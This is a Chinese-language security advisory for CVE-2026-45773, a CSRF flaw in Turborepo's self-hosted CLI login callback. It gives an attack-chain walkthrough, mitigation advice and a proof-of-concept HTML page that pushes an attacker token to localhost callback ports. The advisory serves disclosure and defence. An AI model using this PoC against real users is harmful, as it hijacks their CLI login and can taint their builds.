IPBUF安全漏洞报告
English
CVE-2026-45773 CVSS 6.5 中危

CVE-2026-45773 Turborepo CSRF认证绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45773
漏洞类型
CSRF
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Turborepo

相关标签

CSRFTurborepoAuthentication BypassCVE-2026-45773JavaScript

漏洞概述

Turborepo在2.9.14之前版本的自托管登录流程中,未对本地回调验证CSRF状态值。攻击者可利用恶意网页向本地服务器发送受控令牌,导致CLI在用户交互前完成错误的认证登录。

技术细节

该漏洞源于Turborepo CLI在处理自托管认证(OAuth等)的回调请求时,缺失了对state参数的校验机制。正常流程中,CLI应在本地启动服务器监听回调,并比对state值。然而,受影响版本直接接受回调参数。攻击者可诱导用户在CLI等待认证期间访问恶意网页,该网页通过JavaScript向http://localhost:port/callback发送请求,并附带攻击者控制的token。由于缺乏CSRF防护,CLI将接受此token,导致用户本地环境被强制登录为攻击者身份,从而可能造成后续构建流程中的完整性风险。

攻击链分析

STEP 1
1. 触发认证
用户在终端执行turbo login命令,CLI启动本地服务器并打开浏览器进行自托管认证。
STEP 2
2. 访问恶意页面
在浏览器等待用户操作期间,用户被诱导访问攻击者控制的恶意网页。
STEP 3
3. 发送恶意请求
恶意网页向本地CLI监听的回调端口(localhost)发送HTTP请求,并携带攻击者指定的令牌。
STEP 4
4. 绕过验证
由于缺少CSRF state验证,CLI接收该请求并将其视为合法的认证回调。
STEP 5
5. 完成攻击
CLI使用攻击者的令牌完成登录,导致用户本地环境被劫持或身份被冒用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-45773 This malicious HTML page attempts to send an attacker-controlled token to the local Turborepo CLI callback server. --> <html> <body> <script> // Attacker's controlled token const maliciousToken = "ATTACKER_TOKEN_PAYLOAD"; // The target is the local callback endpoint (Port may vary, typically dynamic) // In a real scenario, the attacker would guess or brute force the port, or the port might be predictable/default. const targets = ["http://localhost:3000/callback", "http://localhost:4200/callback"]; targets.forEach(url => { fetch(url + "?token=" + maliciousToken) .then(response => console.log("Request sent to", url, response.status)) .catch(err => console.error(err)); }); </script> <p>CVE-2026-45773 PoC running...</p> </body> </html>

影响范围

Turborepo < 2.9.14

防御指南

临时缓解措施
建议用户立即更新Turborepo至修复版本。在未升级前,应避免在进行CLI认证时浏览任何不可信网页,或直接使用Vercel官方托管服务代替自托管方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表